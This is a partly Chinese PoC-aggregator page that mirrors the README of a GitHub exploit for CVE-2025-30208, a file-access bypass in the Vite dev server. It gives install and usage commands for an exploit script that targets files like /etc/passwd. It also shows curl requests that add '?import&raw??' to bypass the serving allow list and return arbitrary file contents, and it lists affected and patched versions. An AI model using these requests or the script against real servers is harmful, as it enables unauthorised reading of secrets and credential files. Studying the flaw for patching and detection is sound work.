POC详情： 3eb9300109c695fa08e0aa2b5983a96875855c0e

来源
https://github.com/On1onss/CVE-2025-30208-LFI
关联漏洞
标题： Vite 访问控制错误漏洞 (CVE-2025-30208)
描述：Vite是Vite开源的一种新型的前端构建工具。 Vite存在访问控制错误漏洞，该漏洞源于URL中的`?raw??`或`?import&raw??`可以绕过文件访问限制，返回任意文件内容。
描述
This exploit is for educational and ethical security testing purposes only. The use of this exploit against targets without prior mutual consent is illegal, and the developer disclaims any liability for misuse or damage caused by this exploit.
介绍
# CVE-2025-30208-LFI

>[!IMPORTANT]
># Disclaimer
>This exploit is for educational and ethical security testing purposes only. The use of this exploit against targets without prior mutual consent is illegal, and the developer disclaims any liability for misuse or damage caused by this exploit.

## Installation

```shell
git clone https://github.com/On1onss/CVE-2025-30208-LFI.git
cd CVE-2025-30208
pip install -r requirements.txt
```

## Usage 
```shell
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]

options:
  -h, --help       show this help message and exit
  -t <Target URL>  Example: -t http://localhost:5173/
  -fp <File Path>  Example: -fp /etc/passwd
  -i               Interactive mode
```
## Description

### Affected versions
```
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
```
### Patched versions
```
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
```
### Summary
The contents of arbitrary files can be returned to the browser.

### Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

### Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

### PoC
```shell
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...
```

## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
- https://github.com/advisories/GHSA-x574-m823-4x7w
- vitejs/vite@315695e
- vitejs/vite@80381c3
- vitejs/vite@807d7f0
- vitejs/vite@92ca12d
- vitejs/vite@f234b57
文件快照

 [4.0K]  /data/pocs/3eb9300109c695fa08e0aa2b5983a96875855c0e
├── [5.8K]  CVE-2025-30208.py
├── [1.2K]  LICENSE
├── [2.2K]  README.md
└── [  16]  requirements.txt

0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。